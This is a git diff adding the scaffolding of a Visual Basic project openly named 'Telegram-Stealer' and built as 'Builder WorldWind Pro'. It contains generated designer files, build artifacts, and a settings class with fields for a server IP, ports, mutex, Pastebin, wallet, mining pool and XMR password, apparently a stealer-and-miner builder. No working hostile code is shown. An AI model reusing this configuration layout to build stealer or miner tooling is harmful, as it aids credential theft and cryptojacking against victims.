a/Telegram-Stealer/My Project/Resources.Designer.vb b/Telegram-Stealer/My Project/Resources.Designer.vb new file mode 100644 index 0000000..293707c --- /dev/null +++ b/Telegram-Stealer/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Builder_WorldWind_Pro.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/Telegram-Stealer/My Project/Resources.resx b/Telegram-Stealer/My Project/Resources.resx new file mode 100644 index 0000000..29dcb1b --- /dev/null +++ b/Telegram-Stealer/My Project/Resources.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Telegram-Stealer/My Project/Settings.Designer.vb b/Telegram-Stealer/My Project/Settings.Designer.vb new file mode 100644 index 0000000..0e4d7da --- /dev/null +++ b/Telegram-Stealer/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Builder_WorldWind_Pro.My.MySettings + Get + Return Global.Builder_WorldWind_Pro.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/Telegram-Stealer/My Project/Settings.settings b/Telegram-Stealer/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/Telegram-Stealer/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Telegram-Stealer/My Project/app.manifest b/Telegram-Stealer/My Project/app.manifest new file mode 100644 index 0000000..3299058 --- /dev/null +++ b/Telegram-Stealer/My Project/app.manifest @@ -0,0 +1,55 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Telegram-Stealer/Settings.vb b/Telegram-Stealer/Settings.vb new file mode 100644 index 0000000..a1db251 --- /dev/null +++ b/Telegram-Stealer/Settings.vb @@ -0,0 +1,213 @@ +Imports System +Imports System.CodeDom.Compiler +Imports System.Configuration +Imports System.Diagnostics +Imports System.Runtime.CompilerServices + +Namespace Server.Properties + _ + Friend NotInheritable Class Settings + Inherits ApplicationSettingsBase + ' Properties + Public Shared ReadOnly Property [Default] As Settings + Get + Return Settings.defaultInstance + End Get + End Property + + _ + Public Property Filename As String + Get + Return CStr(Me.Item("Filename")) + End Get + Set(ByVal value As String) + Me.Item("Filename") = value + End Set + End Property + + _ + Public Property Group As String + Get + Return CStr(Me.Item("Group")) + End Get + Set(ByVal value As String) + Me.Item("Group") = value + End Set + End Property + + _ + Public Property IP As String + Get + Return CStr(Me.Item("IP")) + End Get + Set(ByVal value As String) + Me.Item("IP") = value + End Set + End Property + + _ + Public Property Mutex As String + Get + Return CStr(Me.Item("Mutex")) + End Get + Set(ByVal value As String) + Me.Item("Mutex") = value + End Set + End Property + + _ + Public Property Notification As Boolean + Get + Return CBool(Me.Item("Notification")) + End Get + Set(ByVal value As Boolean) + Me.Item("Notification") = value + End Set + End Property + + _ + Public Property Pastebin As String + Get + Return CStr(Me.Item("Pastebin")) + End Get + Set(ByVal value As String) + Me.Item("Pastebin") = value + End Set + End Property + + _ + Public Property Ports As String + Get + Return CStr(Me.Item("Ports")) + End Get + Set(ByVal value As String) + Me.Item("Ports") = value + End Set + End Property + + _ + Public Property ProductName As String + Get + Return CStr(Me.Item("ProductName")) + End Get + Set(ByVal value As String) + Me.Item("ProductName") = value + End Set + End Property + + _ + Public Property txtBlocked As String + Get + Return CStr(Me.Item("txtBlocked")) + End Get + Set(ByVal value As String) + Me.Item("txtBlocked") = value + End Set + End Property + + _ + Public Property txtCompany As String + Get + Return CStr(Me.Item("txtCompany")) + End Get + Set(ByVal value As String) + Me.Item("txtCompany") = value + End Set + End Property + + _ + Public Property txtCopyright As String + Get + Return CStr(Me.Item("txtCopyright")) + End Get + Set(ByVal value As String) + Me.Item("txtCopyright") = value + End Set + End Property + + _ + Public Property txtDescription As String + Get + Return CStr(Me.Item("txtDescription")) + End Get + Set(ByVal value As String) + Me.Item("txtDescription") = value + End Set + End Property + + _ + Public Property txtFileVersion As String + Get + Return CStr(Me.Item("txtFileVersion")) + End Get + Set(ByVal value As String) + Me.Item("txtFileVersion") = value + End Set + End Property + + _ + Public Property txtOriginalFilename As String + Get + Return CStr(Me.Item("txtOriginalFilename")) + End Get + Set(ByVal value As String) + Me.Item("txtOriginalFilename") = value + End Set + End Property + + _ + Public Property txtPool As String + Get + Return CStr(Me.Item("txtPool")) + End Get + Set(ByVal value As String) + Me.Item("txtPool") = value + End Set + End Property + + _ + Public Property txtProductVersion As String + Get + Return CStr(Me.Item("txtProductVersion")) + End Get + Set(ByVal value As String) + Me.Item("txtProductVersion") = value + End Set + End Property + + _ + Public Property txtTrademarks As String + Get + Return CStr(Me.Item("txtTrademarks")) + End Get + Set(ByVal value As String) + Me.Item("txtTrademarks") = value + End Set + End Property + + _ + Public Property txtWallet As String + Get + Return CStr(Me.Item("txtWallet")) + End Get + Set(ByVal value As String) + Me.Item("txtWallet") = value + End Set + End Property + + _ + Public Property txtxmrPass As String + Get + Return CStr(Me.Item("txtxmrPass")) + End Get + Set(ByVal value As String) + Me.Item("txtxmrPass") = value + End Set + End Property + + + ' Fields + Private Shared defaultInstance As Settings = DirectCast(SettingsBase.Synchronized(New Settings), Settings) + End Class +End Namespace + diff --git a/Telegram-Stealer/Telegram-Stealer.vbproj b/Telegram-Stealer/Telegram-Stealer.vbproj new file mode 100644 index 0000000..5208efe --- /dev/null +++ b/Telegram-Stealer/Telegram-Stealer.vbproj @@ -0,0 +1,144 @@ + + + + + Debug + AnyCPU + {8A7BE83B-0B4E-45D7-8E4A-5424BB62CA45} + WinExe + Builder_WorldWind_Pro.My.MyApplication + Builder_WorldWind_Pro + Builder WorldWind Pro + 512 + WindowsForms + v4.5 + + + + AnyCPU + true + full + true + true + ..\..\Builder WorldWind Pro\ + Builder WorldWind Pro.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + Builder WorldWind Pro.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + Builder.ico + + + My Project\app.manifest + + + + False + ..\..\Mono.Cecil.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/Telegram-Stealer/bin/Debug/Telegram-Stealer.vshost.exe.config b/Telegram-Stealer/bin/Debug/Telegram-Stealer.vshost.exe.config new file mode 100644 index 0000000..73c2d19 --- /dev/null +++ b/Telegram-Stealer/bin/Debug/Telegram-Stealer.vshost.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Telegram-Stealer/obj/Debug/Builder WorldWind Pro.pdb b/Telegram-Stealer/obj/Debug/Builder WorldWind Pro.pdb new file mode 100644 index 0000000..b5d5a3f Binary files /dev/null and b/Telegram-Stealer/obj/Debug/Builder WorldWind Pro.pdb differ diff --git a/Telegram-Stealer/obj/Debug/Builder WorldWind Pro.xml b/Telegram-Stealer/obj/Debug/Builder WorldWind Pro.xml new file mode 100644 index 0000000..02adeb6 --- /dev/null +++ b/Telegram-Stealer/obj/Debug/Builder WorldWind Pro.xml @@ -0,0 +1,24 @@ + + + + +BuilderWorldWindPro + + + + + + Returns the cached ResourceManager instance used by this class. + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + \ No newline at end of file diff --git a/Telegram-Stealer/obj/Debug/Builder_WorldWind_Pro.Form1.resources b/Telegram-Stealer/obj/Debug/Builder_WorldWind_Pro.Form1.resources new file mode 100644 index 0000000..80ff247 Binary files /dev/null and b/Telegram-Stealer/obj/Debug/Builder_WorldWind_Pro.Form1.resources differ diff --git a/Telegram-Stealer/obj/Debug/Builder_WorldWind_Pro.Resources.resources b/Telegram-Stealer/obj/Debug/Builder_WorldWind_Pro.Resources.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/Telegram-Stealer/obj/Debug/Builder_WorldWind_Pro.Resources.resources differ diff --git a/Telegram-Stealer/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/Telegram-Stealer/obj/Debug/DesignTimeResolveAssemblyReferences.cache new file mode 100644 index 0000000..618afdf Binary files /dev/null and b/Telegram-Stealer/obj/Debug/DesignTimeResolveAssemblyReferences.cache differ diff --git a/Telegram-Stealer/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/Telegram-Stealer/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..f6f944a Binary files /dev/null and b/Telegram-Stealer/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/Telegram-Stealer/obj/Debug/Telegram-Stealer.vbproj.FileListAbsolute.txt b/Telegram-Stealer/obj/Debug/Telegram-Stealer.vbproj.FileListAbsolute.txt new file mode 100644 index 0000000..9bb3f3b --- /dev/null +++ b/Telegram-Stealer/obj/Debug/Telegram-Stealer.vbproj.FileListAbsolute.txt @@ -0,0 +1,39 @@ +C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbproj.GenerateResource.Cache +C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbprojResolveAssemblyReference.cache +C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro.exe.config +C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Form1.resources +C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Resources.resources +C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.exe +C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.xml +C:\Users\SPD-Tech\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.pdb +C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro.exe +C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro.pdb +C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro.xml +C:\Users\SPD-Tech\Desktop\Nouveau dossier\Builder WorldWind Pro.exe.config +C:\Users\SPD-Tech\Desktop\Nouveau dossier\Builder WorldWind Pro.exe +C:\Users\SPD-Tech\Desktop\Nouveau dossier\Builder WorldWind Pro.pdb +C:\Users\SPD-Tech\Desktop\Nouveau dossier\Builder WorldWind Pro.xml +C:\Users\SPD-Tech\Desktop\Nouveau\Nouveau dossier\Builder WorldWind Pro.exe.config +C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.exe +C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.xml +C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.pdb +C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.exe.config +C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.exe +C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.pdb +C:\Users\SPD-Tech\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.xml +C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbprojResolveAssemblyReference.cache +C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Form1.resources +C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Resources.resources +C:\Users\SPD-Tech\Desktop\Nouveau\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbproj.GenerateResource.Cache +C:\Users\SPD-Tech\Builder WorldWind Pro\Builder WorldWind Pro.exe.config +C:\Users\ECS\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.exe.config +C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.exe +C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.xml +C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder WorldWind Pro.pdb +C:\Users\ECS\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.exe +C:\Users\ECS\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.pdb +C:\Users\ECS\Desktop\Builder WorldWind Pro\Builder WorldWind Pro.xml +C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbprojResolveAssemblyReference.cache +C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Form1.resources +C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Builder_WorldWind_Pro.Resources.resources +C:\Users\ECS\Desktop\Telegram-Stealer\Telegram-Stealer\obj\Debug\Telegram-Stealer.vbproj.GenerateResource.Cache diff --git a/Telegram-Stealer/obj/Debug/Telegram-Stealer.vbproj.GenerateResource.Cache b/Telegram-Stealer/obj/Debug/Telegram-Stealer.vbproj.GenerateResource.Cache new file mode 100644 index 0000000..6fc5006 Binary files /dev/null and b/Telegram-Stealer/obj/Debug/Telegram-Stealer.vbproj.GenerateResource.Cache differ diff --git a/Telegram-Stealer/obj/Debug/Telegram-Stealer.vbprojResolveAssemblyReference.cache b/Telegram-Stealer/obj/Debug/Telegram-Stealer.vbprojResolveAssemblyReference.cache new file mode 100644 index 0000000..18b9cf6 Binary files /dev/null and b/Telegram-Stealer/obj/Debug/Telegram-Stealer.vbprojResolveAssemblyReference.cache differ diff --git a/Telegram-Stealer/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll b/Telegram-Stealer/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll new file mode 100644 index 0000000..239b537 Binary files /dev/null and b/Telegram-Stealer/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll differ